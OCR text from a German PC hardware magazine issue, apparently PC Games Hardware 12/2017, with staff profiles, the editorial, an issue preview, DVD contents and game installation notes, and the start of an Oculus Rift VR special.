Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TP56130A2 ein/nein Mikr.-Lautstárkeregl. am Gerät | 2,27 | 05/2015 | www.pcgh.de/preis/1150607 
Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 — | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 
Steelseries Siberia 800 Ca. 250,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 
Teufel Cage Ca. 170,- | USB, Klinke Geschlossen, ohrumschließend | 310 Gramm | 32 Ohm Ja, virtuell | Beidseitig tragbar, Software 1,73 07/2016 | www.pcgh.de/preis/1631481 
Asus ROG Centurion Ca. 200,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 
You T Sennheiser GSP 350 Ca. 120,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 | 03/2017 | www.pcgh.de/preis/1543799 
Logitech G533 Wireless Ca. 90,- | Funk Geschlossen, ohrumschließend | 350 Gramm | 32 Ohm Ja, virtuell | Umfangreiche Software 1,89 | 06/2017 | www.pcgh.de/preis/1558931 
ШЕТУ Lioncast LX 50 Са. 50,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 | www.pcgh.de/preis/1560427 
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Die Redaktion 


EEN BAYER 
Chefredakteur EEN tb@pcgh.de | Aufgabengebiete: Heft, Website, alles 


TER 


RAFFAE 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Aktuell zocke ich im Koop die Actionperle Serious Sam: Bogus 
Detour. Leider ging das Indiespiel trotz Seriousmarke ziemlich unter. Schade. 


Der Überraschungshit Hellblade ... ging durch meinen Urlaub leider bis- 
her komplett an mir vorbei. Ich habe natürlich die Berichterstattung im Vorfeld 
verfolgt und fand die Ideen sehr spannend, aber vorerst werde ich mich damit 
nicht bescháftigen kónnen. Aber aufgeschoben ist nicht aufgehoben. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
2170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Die vergangenen Wochen waren warm - Zeit für einen schönen 
Urlaub! Daher lief am PC nur wenig. Bis auf die folgende Erfahrung. 


Der Überraschungshit Hellblade ... ist das abgefahrenste Spiel, das ich 

in 25 Jahren Zockerkarriere erlebt habe. Senuas verstörendes Abenteuer setzt 
Maßstäbe, nie zuvor hatte ich so oft Gänsehaut beim Spielen. Die audiovisuelle 
Inszenierung ist göttlich, allerdings nichts für Kinder und Zartbesaitete. 


Privat-PC: AMD Ryzen 1700 @ 3,0 GHz (undervoltet), Asus Crosshair VI Hero, 
16 GiB DDR4-3200, Titan-X-ohne-p mit Arctic Hybrid 11-140, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Da Intel anfangs nur einen aufgewärmten PCH zu Coffee Lake 
liefern will und das Preisniveau ohnehin recht hoch ist, hake ich 2017 ab. Ein 
frisch angeschafftes Asus UX310UA entspricht eher dem täglichen Bedarf. 


Der Überraschungshit Hellblade ... überzeugt unter anderem auch durch 
die Leistung von Senua-Darstellerin Melina Juergens, die erstaunlicherweise 
keine klassische Schauspielausbildung hat. 


Privat-PC: Asus UX310UA grau - Intel Core i7-7500U mit HD Graphics 620, 
16 GiB DDR4-2133, 256 GiB M2-SSD, 13,3 Zoll FHD-IPS-LED-Display (matt) 


MANUEL En] 


Redakteur En] mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Nachdem die Spieleleistung von Ryzen Threadripper verglichen 
mit Ryzen 7 zu wünschen übrig lässt, ist ein CPU-Upgrade erst einmal auf Eis 
gelegt. Auf dem Einkaufszettel steht noch eine Radeon RX Vega. 


Der Überraschungshit Hellblade ... interessiert mich als reiner 
Einzelspielertitel weniger. Die Langzeitmotivation fehlt mir da einfach und für 
Zwischendurch habe ich andere Alternativen. 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Radeon 
R9 390, Sandisk Ultra II 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Grafikkarten sind noch immer zu teuer, daher eilt die Fertigstel- 
lung meines Casecons auch nicht. Vega muss erst mal günstiger werden, 
dann schlage ich auch zu. 


Der Überraschungshit Hellblade ... ist meiner Meinung nach gar nicht so 
eine große Überraschung. Eine gut gemachte Atmosphäre mit brillianter Grafik 
und Vertonung ist ein klarer Hit. Ich finde nur die Portale recht óde. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
£ 


PC aktuell: Mehr als eine Runde PUBG am Abend läuft aktuell eigentlich nicht. 


Der Überraschungshit Hellblade ... ist ein tolles und mutiges Spiel, das 
zudem ohne Hilfe eines der groBen Publisher erschienen ist — und wohl auch 
genau deshalb. So ein Spiel hátte zur heutigen Zeit weder EA noch Ubisoft ge- 
wagt. Hellblade ist irgendwo zwischen Triple-A und Indie — und genau diese Art 
Spiele waren früher die Vorreiter des Mediums, fehlten aber die letzten Jahre. 


Privat-PC: 17-5820К @ 4,2 GHz, 32 GiB DDR4, 2x 960 + 4x 512 GB SSDs, 
1x WD 3 TB, GTX 980 @ 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÓWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeráte, Mauspads und G 


eháuse 


Mining aktuell: Durch den dank Mining-Hype noch hohen Verkaufserlós mei- 
ner RX 480 kostete mich der Schritt zur Vega 56 für 410 Euro nicht einmal 100 
Euro Aufpreis. Nun schaue ich gespannt auf die weitere Treiberentwicklung und 
kämpfe mit dem Wattman. Stichwort als Speicherspannung getarnte vCore-floor. 


Der Überraschungshit Hellblade ... hat zu Recht viel Aufmerksamkeit 
bekommen, kombiniert er doch tolle Optik mit einzigartiger Atmosphäre. 


Privat-PC: Core i7-5775C (3,4 GHz/0,975v), RX Vega 56, 2x 8 GiB DDR3- 
1866, 128-GB-NVME-SSD, alles @1 1-Liter-Mini-ITX-Gehäuse, 24" -120-Hz-LCD 


PC aktuell: Ich habe das Dan-A4-SFX-V2-Gehäuse zum Testen bekommen 
und wenn es sich als das kleinste, für Spiele-Hardware voll geeignete Gehäu- 
se herausstellt, könnte es sein, dass ein Umbau meines Spiele-Minis ansteht. 


Der Überraschungshit Hellblade ... scheint ein sehr immersiver sowie von 
der Story und der Optik her beeindruckender Titel zu sein. Leider ist der mir im 
Jahresurlaub entgangen. Nicht schlimm, kann man ja noch nachholen :) 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


pm VOGEL 


Redakteur pm tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


ALEXANDROS BIKOULIS 
Volontàr | ab@pcgh.de | Fachbereiche: Netzteile und Videos 


RL aktuell: Einmal im Jahr prüft der Wakü-Fachredakteur die Kühlungsei- 
genschaften des Mittelmeers (erneut „sehr schön"), aber leider hat mir dieses 
Jahr die Luft- oder besser Hybridkühlung alias Wetter den Urlaub versaut. 


Den Überraschungshit Hellblade ... habe ich erstmal verpennt. Das 
Spielprinzip reizt mich aber ohnehin nicht, weswegen ich toller Atmosphäre und 
Inszenierung zum Trotze bedenkenlos weiterschlafen kann. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDR4-2133, Asus GTX 780 Ti 
© 1.245/3.800 MHz; alles  Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PS4 aktuell: Ich habe nahezu das ganze Wochenende mit Call of Duty WWII 
Beta verbracht (dank GC-Grippe). Das Spiel macht vieles besser" als Infinite 
Warfare, aber im Großen und Ganzen ist es nur ein ein Black Ops mit WW-Skin. 


Der Überraschungshit Hellblade ... hat mich überrascht. Einerseits wegen 
der hohen Produktionsqualität, der tollen Story und der Thematik. Andererseits 
weil es mit höchsten Einstellungen auf meinem Rechner lief. Well done! 


Privat-PC: Intel Core i5-3450, P8B75-MLX (uATX), 8 GiByte DDR-RAM, XFX 
Radeon RX 470 RS Black Edition 


STEPHAN WILKE 
Community Content Commerce Manager | sw@pcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Nachdem ich mit dem Super Nintendo aufgewachsen bin, freue 
ich mich riesig, dass ich ein SNES Classic Mini ergattern konnte. Wenn Sie diese 
Zeilen lesen, bin ich also vermutlich im Retro-Fieber und am Zocken. 


Der Überraschungshit Hellblade ... war für mich tatsächlich eine Über- 
raschung, denn ich musste mir erst mal ein Youtube-Video anschauen, hatte 
zuvor noch nichts darüber gehört. Dennoch reizt mich das Spiel kaum. 


Privat-PC: Core i7-7700K, 16 GiB DDR4, Asus 2170 Pro Gaming, Asus GTX 
1050 Ti Strix, Samsung 960 Pro 512-GB-SSD, Seasonic-PSU (lüfterlos) 
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PC aktuell: Im Urlaub habe ich mich mit Firewatch und Observer vergnügt. 
Firewatch war so gut wie erwartet, Observer hat mich durch seine surrealen 
Traumsequenzen, die dystopische Zukunftsvision und den grafischen Effekt- 
Overkill begeistert. Ein tolles Erlebnis und eine schöne Abwechslung! 


Der Überraschungshit Hellblade ... steht auf der Einkaufsliste. Eine kelti- 
sche Kriegerin mit Psychosen ist genau mein Ding — mutig von den Entwicklern. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDRA, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 
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SERVICE | Vorschau 


Test: Intel 
Coffee Lake* 


Auch wenn es dafür natürlich noch 
keine finale Bestàtigung gibt, rechnen 
Wir intern einigermaßen fest damit, dass 
wir Ihnen in der kommenden PCGH- 
Ausgabe 12 einen vollwertigen Test der 
neuen Intel-CPU-Generation Coffee Lake 
bieten können. 


RX Vega: 
Custom 
Designs* 


Dieses Mal wirklich: Was leisten die 


Herstellerkarten mit RX Vega im 
Vergleich zu Standardversionen? 


Oculus Rift: 
Status Quo* 


Fast zwei Jahre nach der Vorstel- 
lung wird es Zeit für ein großes 
Update zum Thema Virtual Reality 
mit der Rift: Welche Spiele bringen 
die VR-Revolution voran? 


Weitere Themen (u. a.)* 


I Tests: X399-Mainboards, Windows Mixed Reality 
I Praxis: HDR mit neuen Spielen ausprobiert 
I Info: Windows 10 Fall Creators Update 


x ° 
oe 2 Vollversionen 
^ Grand Ages Medieval 
£ Sudden Strike 3 (Key) 


V 


3 Die náchste PCGH erscheint am 

APTUS „біру 2. November 2017. Abonnenten 
bekommen das Heft in der 

Regel einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewáhr. Es kann aus Aktuali- 
tätsgründen zu außerplanmäßigen Änderungen kommen. 
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Editorial | SERVICE 


Logbuch #206: Von Kaffee-Seen, 
imulanten und rockigen Rätseln 


Groß, größer, Coffee Lake: Verzeihen Sie mir das Spiel mit den Superlativen, natürlich ist die : 
neue Intel-Generation Coffee Lake nicht „ат größten“, auch wenn Intel mit seinem ersten : facebook 
Sechskern-Angebot ab 200 Euro natürlich ein spannendes Comeback feiert. „Ат größten“ ist : 
aber sicher das dazugehörige Coffee-Lake-Special im Heft. Es war uns ja leider nicht vergönnt, : РССН-Еап werden auf: 
zeitnah einen entsprechenden Test in Ausgabe 11/2017 abzuliefern, weshalb wir їп der 12 nun : 
- aus der Not eine Tugend machen und dafür alles bieten, was das Herz begehrt. Auf 24 Seiten 
' bekommen Sie alle Testwerte zu gleich vier Coffee-Lake-CPUs, darüber hinaus auch die Tests 
6 von fünf Z370-Mainboards und als Krönung noch еіп Tuning-Special. Da Intel zum Zeitpunkt 
Р P> des Redaktionsschlusses sowieso kaum CPUs liefern kann, sind Sie damit ideal für eine Kaufent- 
scheidung in den nächsten Wochen und Monaten gerüstet. Sollte PCGH öfter wichtige Themen 


Thilo Bayer auf langen Seitenstrecken erörtern? Schreiben Sie mir Ihre Meinung an tb@pcgh.de. 
Chefredakteur 
PC Games Hardware 


GTX 1070 Ti: So eine Situation erlebt man selten. Da wird „ziemlich“ sicher eine neue und für 
Spieler interessante Grafikkarte vorgestellt, allerdings erst zu einem Zeitpunkt, an dem das Heft 
schon bei den Abonnenten oder im Handel ist. Was also tun, außer komplett darauf zu verzichten? Wir haben versucht, 
das Beste für Sie herauszuholen, haben Gerüchte studiert und geprüft - und schlussendlich eine Leistungsvorschau 
erstellt, die nach bestem Wissen und Gewissen dem entspricht, was „sehr wahrscheinlich“ Ende Oktober bzw. Anfang 
November auch auf PCGH.de zu finden ist. Was sagen Sie zur Vorgehensweise? Schreiben Sie mir an tb@pcgh.de. 


Tunen, neu bauen 
oder aufrüsten? 


Von Flash und Kreuzworträtseln: Zwei Themen aus dem Editorial von Ausgabe 11 will ich zum Abschluss noch kurz auf- 
greifen. Auf die Frage, ob es künftig reicht, die Inhalte der DVD nur noch über den Windows Explorer aufzurufen, gab 
es eine überwältigende Antwort: Ja. Praktisch alle Einsendungen bestätigten das, was wir bereits vermutet haben: Die 
PCGH-User sind pragmatisch und nutzen die Heft-DVD direkt über Betriebssystem-Bordmittel. Da die Antworten so ein- 
deutig waren, haben wir auch nicht lange gefackelt und die Wünsche gleich zu dieser Ausgabe umgesetzt. Sie haben dazu 
eine Meinung? Schicken Sie mir diese an tb@pcgh.de. Und auch zum letzten Monat abgedruckten Kreuzworträtsel eine 
Anmerkung: Fast 1.500 Leser haben bereits mitgemacht und ein äußerst prägnantes Lösungswort eingeschickt. Herzli- 
chen Dank für diese tollen Teilnahmezahlen! Wenn Sie öfter solche Rätsel wünschen, lassen Sie mich das bitte wissen. 


Viel Spaß mit der Ausgabe Nummer 206 wünscht Ihr 


Raff wird zum 
bekennenden 
„Veganer”, denn er 
vergleicht in seinem 
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^ — " sa We Ыы. Vega-64-Modelle 


Alexandros überprüft mit dem Oculus Rift den Status Quo zum Thema VR j D : Air, Liquid und Asus 
und ermittelt, wohin die Reise nach der Revolution im letzten Jahr geht. E А Strix miteinander. 
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We : M 


+++ Frank holt sich zahlreiche Spielermáuse und Tastatur-Neuerscheinungen ins 
Testlabor +++ Carsten, Torsten und Stephan präsentieren alles Wissenwer- 
te zu Intels Coffee-Lake-CPUs — Benchmarks und Mainboard-Tipps inklusive +++ 
Phil kümmert sich um den guten Ton beim Spielen und zitiert sechs Headsets und 
vier Kopfhörer zur Probe +++ Manuel gibt nützliche Free- und G-Sync-Tuning- 
Tipps +++ Raff hat die neuesten Infos zur sagenumwobenen GTX 1070 Ti +++ 
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Heftinhalt 


Seite 16 


>. 


Intel Coffee Lake alias Core i7-8000 


Im XXL-Special auf satten 24 Seiten erfahren Sie alles über Intels neue Prozessorge- 
neration. PC Games Hardware analysiert Leistung, Verbrauch, Übertaktungspotenzial, 
Kernskalierung und die erste Fuhre an passenden Hauptplatinen. 
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Intel Coffee Lake ................................... 16 
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we Die besten Inhalts- und Qualitätsmods für alte Spiele 
` Deus Ex 2 


Heft. DND = 145 


Sprecher | 


Mháile ойг | 
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DVD-Vollversion ju WW, 


. š PCGH Retrospektive 07/2009: 
® Grand Ages: Medieval Neues PCGH-Layout 2.0, Intel zu 1,06 Mrd. Euro Strafzahlung verurteilt, 


DSR-/VSR-Vorläufer Downsampling, Populäre PC-Mythen geprüft. 


Videos aus der PCGH-Redaktion 

JP Radeon RX Vega 64: Kühldesigns im Vergleich (Air-Version, 
Liquid-Cooled-Edition und Asus Strix OC) 

Jp PCGH-Retrospektive 07/2009 


Specials 
29 Begleitmaterial AF-Bug bei Radeon RX Vega 
(Startseite Grafikkarten) 


EE ëfterg 
Tools Radeon RX Vega - Kühldesigns vorgestellt: Grafikkarten-Guru 
Е idi Raffael Vötter vergleicht die Referenzkarte der RX Vega 64 mit der 

m GPU-Z 2.4.0, MSI Afterburner 4.4.0 Beta 19, Nvidia Inspector Liquid-Cooled-Edition sowie der Asus Strix OC. AuBerdem finden Sie auf 

1.9.7.8, PCGH-VGA-Tool 1.0.1, Sapphire Trixx 6.4.0 der DVD Bilder zum Thema Vega-AF (siehe Grafikkarten-Startseite). 
29 AS-SSD Benchmark 2.0.6485.19676, Cinebench R15, Fraps 

3.5.99, Prime 95 29.3, Super Pi 1 .9 Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift 

: (Name, StraBe, PLZ, Wohnort) und der Ausgabennummer 12/2017 unter dem 

> Core Temp 1 Л 0.2, CPU-Z 1 8 1 Д HD-Tune 2.55/5.70 Trial, Betreff „PC Games Hardware: DVD-Reklamation" an computec@dpv.de. 


Speedfan 4.52, Sysinternals Suite (06/2017) 


2. Weiche Temer vermissen Za aktuell im Printmagazin? 


Treiber 
® Geforce 387.92 WHQL (Win 7/8/10, 64 Bit) 
® Radeon Software 17.10.1 Beta (Win 7 & 10, 64 Bit) 
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Feedback іт PCGH-Forum 


Im Online-Forum von РС Games Hardware können Sie uns bequem Rückmeldung дереп, welche 
Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und 
ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser 
Foren-Account, der mit wenigen Mausklicks eingerichtet ist. www.pcgh.de/feedback 
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DVD-Highlights | SERVICE ba 


Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen keinen direkten Installationsschlüssel mehr abdrucken! 


Sie erhalten ihn, indem Sie den Key auf der Codekarte (S. 66/67) auf www.pcgh.de/codes einlósen. 


In dem gelungenen Mix aus Wirtschaftssimulation und 
Echtzeitstrategie führen Sie Ihr Volk auf einem Gebiet, 
welches sich von Skandinavien bis Nordafrika und von 
Portugal bis zum Kaukasus erstreckt, durch Jahrzehnte 
voller Aufbau, Forschung, Expansion und Eroberung. 
Steigen Sie dabei vom einfachen Bürgermeister einer 
kleinen Siedlung mitten im Nirgendwo bis zum Herr- 
scher über ganz Europa auf. Erleben Sie eine spannend 
gestaltete Kampagne inklusive aufwendiger Zwischen- 
sequenzen und spielen Sie nach Ihren eigenen Regeln 
im freien Spiel oder messen Sie Ihre Fähigkeiten im 
Mehrspielermodus mit bis zu acht Spielern via Internet. 


* Erkunden Sie die riesige Spielwelt mit über 20 Mil- 
lionen Quadratkilometern 

* Erforschen, produzieren und handeln Sie 50 tech- 
nologische Errungenschaften und 20 verschiedene 
Waren des Mittelalters 

e Stellen Sie eine Armee auf und bekämpfen Sie Ihre 
Feinde mit Rittern, Bogenschützen und Kavallerie 

* Meistern Sie Naturkatastrophen von Vulkanen über 
Stürme, Dürren und Erdbeben bis hin zur Pest 


Installation: 

Sie benótigen eine aktive Online-Verbindung und ei- 
nen kostenlosen Account bei Kalypso, den Sie nach der 
Installation einrichten kónnen. Wenn Sie den Installer 


Vollversion Grand Ages: Medieval 


von unserer Heft-DVD aufrufen, startet der Kalypso-Launcher nach der Installation 
des Spiels automatisch und fordert Sie auf, Ihren persónlichen Key einzugeben. Sie 
erhalten ihn, indem Sie den Code der Codekarte (S. 66/67) auf www.pcgh.de/codes 
gegen den Installationsschlüssel eintauschen. Haben Sie den Key eingegeben, ládt 
der Launcher noch ein Update (ca. 419 MB) herunter. Eventuell ist es erforderlich, 
den Key danach noch ein weiteres Mal einzugeben, um das Spiel zu starten. 


Minimale Systemvoraussetzungen: Windows Vista und neuer, Zweikernpro- 
zessor mit 2,4 GHz, 2 GiB RAM, Direct-X-11-Grafik mit 1 GiB Grafikspeicher, ca. 4,4 
GiB HDD-Platz inklusive Update. 


Darüber hinaus empfohlene Systemkonfiguration: Windows 7 oder 
hóher, Vierkern-CPU mit 3 GHz, 4 GiB RAM, 2 GiB Grafikspeicher 


Unsere Bonus-Vollversion enthält sowohl das Haupt- 
spiel Sudden Strike 3: Arms to Victory als auch die 
Erweiterung The Last Stand mit zwei zusátzlichen Kam- 
pagnen. Spielen Sie in einer der Kampagnen aufseiten 
der Deutschen, der Alliierten oder der Russen und kom- 
mandieren Sie Ihre Truppen in entscheidenen Schlach- 
ten des zweiten Weltkrieges. 


Installation #1 
Bitte beachten Sie, dass sich unsere Bonus-Vollversion 
nicht auf dem Datentráger befindet, sondern rein über 
Steam angeboten wird. Den Steam-Key erhalten Sie, 
indem Sie auf www.pcgh.de/codes nach Auswahl des 
Spiels den Code für Sudden Strike 3 von der Karte (S. 
66/67) eingeben und ihn dort umwandeln lassen. 


Installation #2 

Sudden Strike 3 ist eine Neuveröffentlichung eines äl- 
teren Spieles. Es wurde zwar auf einer Reihe moderner 
Windows-PC-Konfigurationen getestet, unerwünschte 
Artefakte, etwa bei Grafik und Sound, oder sogar 
Abstürze können dennoch auftreten. In solchen Fällen 
gibt's oft Hilfe und Tipps in den Foren der Steam-Com- 
munity. Auf modernen Windows-Systemen kommt es 
häufig vor, dass Sudden Strike 3 nach dem Ladebild- 


Bonus-Vollversion Sudden Strike 3 


play über die Windows-Features: Geben Sie in der Windows-Suchbox „Windows- 
Fe..." ein und vervollständigen Sie den Vorschlag zu „Windows-Features aktivieren 
oder deaktivieren”. Dort finden Sie Directplay in den Legacykomponenten. Ein 
Linksklick-Häkchen samt Bestätigung via OK, und Windows aktiviert die veraltete 
Schnittstelle wieder. Danach lief Sudden Strike 3 auf unserem Test-PC problemlos. 


Sudden-Strike-Fans, aufgepasst: In den unter http://shop.computec.de/pc-magazine/ 
pc-games-hardware-abo/ noch bestellbaren Ausgaben 07/2017 respektive 09/2017, 
gab es als Bonus-Vollversionen „Sudden Strike" und „Sudden Strike 2 Gold". 


Minimale Systemvoraussetzungen: Windows XP oder neuer, 2 GHz-Dual- 
core-CPU, 1 GiB RAM, DX9-Grafikkarte mit 256 MiB Speicher, 1.450 MByte HDD- 
Platz. 


schirm auf den Desktop zurückfällt. Abhilfe schafft in 
diesem Fall das nachträgliche Aktivieren von Direct- 
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Gewinn- ` 
Spiel 


Oculus Rift 


Alles rund um Virtual Reality 
und wohin die Reise geht. 
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ach Meinung einiger ist zum 

Thema Virtual Reality schon 
vor Jahrzehnten alles gesagt wor- 
den. Aber die Technik steht nicht 
still und nachdem 2016 die ersten 
VR-Headsets und -Controller im 
modernen Sinne virtuelle Reali- 
tàt überhaupt erlebbar machten, 
folgten im Sommer 2017 erheb- 
liche Preissenkungen. So gibt es 
die Kombination aus Oculus Rift 
(VR-Headset) und Oculus Touch 
(VR-Controller) mittlerweile dau- 
erhaft für 450 Euro, Anfang 2017 
waren es noch 800 bis 900 Euro. 
Hochwertige VR-Hardware ist da- 
mit zwar immer noch ein relativ 
teures Spielzeug, prinzipiell aber 
für (fast) jeden erreichbar. 


Ebenfalls in stetem Wandel befin- 
det sich die zugehorige Software. 
Waren zum Release der Headsets 
vor allem Mini-Spiele und Tech- 
Demos erhältlich, erscheinen jetzt 
immer mehr vollwertige Titel und 
Projekte mit komplett neuen Spiel- 
prinzipien - Entwickler brauchen 
eben Zeit, um neue Möglichkeiten 
in ihre Werke einfließen zu lassen. 
Einige Software-Perlen präsentie- 
ren wir auf den folgenden Seiten 
- hier zunächst ein Technik-Up- 
date für alle, die VR bislang als Ni- 
schenthema ignoriert haben. 


VR-Headset: Darum geht's 

Viele Nutzer denken beim Stich- 
wort ,Virtual Reality" noch an die 
gebrochenen Versprechen aus 
den 90er Jahren, als kaum brauch- 
bare HMDs (siehe Glossar auf der 
nächsten Doppelseite) unter die- 


sem Schlagwort verkauft wurden. 
Andere vergleichen VR mit dem 
Hype um 3D-Fernseher und Mo- 
nitore vor wenigen Jahren. Beiden 
Gruppen gemein ist in der Regel, 
dass sie nie eine Rift ausprobieren 
konnten - denn modernes VR hat 
mit den Urahnen wenig gemein. 


So geben zwar auch moderne 
VR-Headsets ein 3D-Bild aus. Das 
heißt, beide Augen werden mit 
leicht unterschiedlichen, 
eben um einen Augenabstand 
verschobenen, Ansicht der virtu- 


einer 


ellen Welt versorgt. Genau wie 
bei einem 3D-Display analysiert 
unser Gehirn die Parallaxen in 
den Bildpaaren und leitet daraus 
Tiefeninformationen ab, obwohl 
die Lichtreize von einem flachen 
Bildschirm ausgehen. Im Gegen- 
satz zu 3D-Fernsehern arbeiten 
VR-Headsets aber mit getrennten 
Anzeigebereichen für linkes und 
rechtes Auge - hier gibt es kei- 
ne Probleme mit Geisterbildern, 
Kontrast und  Farbwiedergabe 
oder der Bildwiederholfrequenz, 
sondern ein perfektes stereosko- 
pisches 3D-Bild. Nur die fehlende 
Tiefenfokussierung unterscheidet 
die Raumwahrnehmung noch von 
der realen Welt, was in gerender- 
ten Szenen aber kaum auffällt. 


Sichtfeld: Mittendrin 

Video-Brillen mit ähnlich guter 
3D-Wiedergabe sind schon länger 
bekannt, ein VR-Headset braucht 
aber zusätzlich ein großes Sicht- 
feld. Dieses ist in Video-Brillen 
zum Teil unerwünscht, lieber si- 


< 


M 


muliert man eine große Leinwand 
in gewisser Entfernung. So passt 
der gesamte Filminhalt in das 
vergleichsweise enge Gebrauchs- 
blickfeld und Anwender müssen 
nicht schielen, um alle Ecken zu 
erkennen. Im Gegenzug sieht man 
bei Augenbewegungen und im ge- 
samten peripheren Sichtfeld aber 
das schwarze Brillen-Innere, ledig- 
lich ein enger 30°-Kegel wird mit 
Inhalt gefüllt. Günstige VR-Head- 
sets bieten dagegen ein Sichtfeld 
von mindestens 90°, hochwertige 
wie die Oculus Rift sogar 110*. Das 
reicht nicht für den gesamten peri- 
pheren Sichtbereich (circa 190?), 
erlaubt aber eine ebenso inten- 
sive Realitätswahrnehmung und 
ein „mittendrin“-Gefühl wie beim 
Blick durch eine Taucherbrille. 


Latenz: VR wartet nicht 

Der entscheidende Unterschied 
von einem modernen VR-Headset 
zu den jahrzehntealten Urahnen 
und auch zu Videobrillen ist aber 
nicht die Aus-, sondern die Einga- 
be. Zwar werden die einzelnen 
Vorserien-Generationen der Rift 
gerne auf ihre Display-Technik re- 
duziert, die grófste Entwicklungs- 
Herausforderung war aber die ra- 
sche Anpassung des angezeigten 
Bildes auf Aktionen des Nutzers. 
Unser Gehirn weiß nämlich aus 
jahrelanger Erfahrung, wie sich 
die von den Augen betrachtete 
Perspektive selbst bei kleinsten 
Bewegungen ändert. Reagiert 
die Anzeige beispielsweise einer 
Videobrille überhaupt nicht auf 
Kopfbewegungen, stellt sich das 


Virtualt Reality braucht Headset, Controller und natürlich Tracker — bei Oculus Rift und Touch respektive Constellation genannt. 
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Bastel-Protoyp auf der E3 


Im Juni 2012 führte John Carmack 
ausgewählten Pressevertretern einen 
mit Ski-Brille und 
Klebeband geba- 
stelten Prototypen 
auf Basis von 
Palmer Luckeys 
Konzepten für mo- 
derne 3D-VR-He- 
adsets vor. 


Kickstarter-Kampagne 


Zwei Monate später startet Oculus am 
1. August die Kickstarter-Kampagne 
zur Entwicklung 

eines serienreifen, 

spieletauglichen 

Headsets. Binnen 

vier Stunden 

werden die ange- 

strebten 250.000 

US-Dollar erreicht. 


Bild: Kickstarter-Oculus 


Development Kit 1 


Wer mindestens 300 US-Dollar über 
Kickstarter zur Verfügung stellte, erhält 
im Frühjahr 2013 
mit dem DK1 die 
erste Version der 
Rift. Diese bietet 
bereits vollwertiges 
3-Achsen-Tracking, 
aber nur 640 x 800 
Pixel je Auge. l 


Development Kit 2 


Für 350 US-Dollar konnte man gut ein 
Jahr später die zweite Rift-Vorserie 
erwerben, mit 
einem schlieren- 
freie OLED-Display, 
960 x 1.080 Pixeln 
je Auge und einer 
externen Kamera 
zum Tracken der 
Position im Raum. 


Consumer Version 


Im März 2016 ist es soweit: Die Serien- 
version der Rift wird ausgeliefert. 1.080 
x 1.200 Pixel 

je Auge, 90 Hz 
Bildwiederholrate 
und ein nochmals 
verbessertes 
Tracking läuten die 
Ära des modernen 
VR ein. 


Oculus Touch 


Bis Dezember 2016 werden Oculus- 
VR-Titel meist mit dem beiliegenden 
X-Box-Gamepad 
gesteuert — seit- 
dem erlauben die 

, Touch" -Controller 
eine intuitive 
Interaktion und 
damit VR-exklusive 
Spielmechaniken. 
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SPECIAL | Oculus Rift 


Gefühl einer Pràsenz im virtuellen 
Raum gar nicht erst ein. Man merkt 
sofort, dass die Bildinhalte nur auf 
einem Display angezeigt werden. 
Fast noch schlimmer waren HMDs, 
die Kopfbewegungen verzögert 
oder Joystick-Befehle 
an den PC meldeten. Reagiert das 
angezeigte Bild verzögert auf Be- 
wegungen des Anwenders, wider- 
sprechen nämlich die vom Auge 


als Maus- 


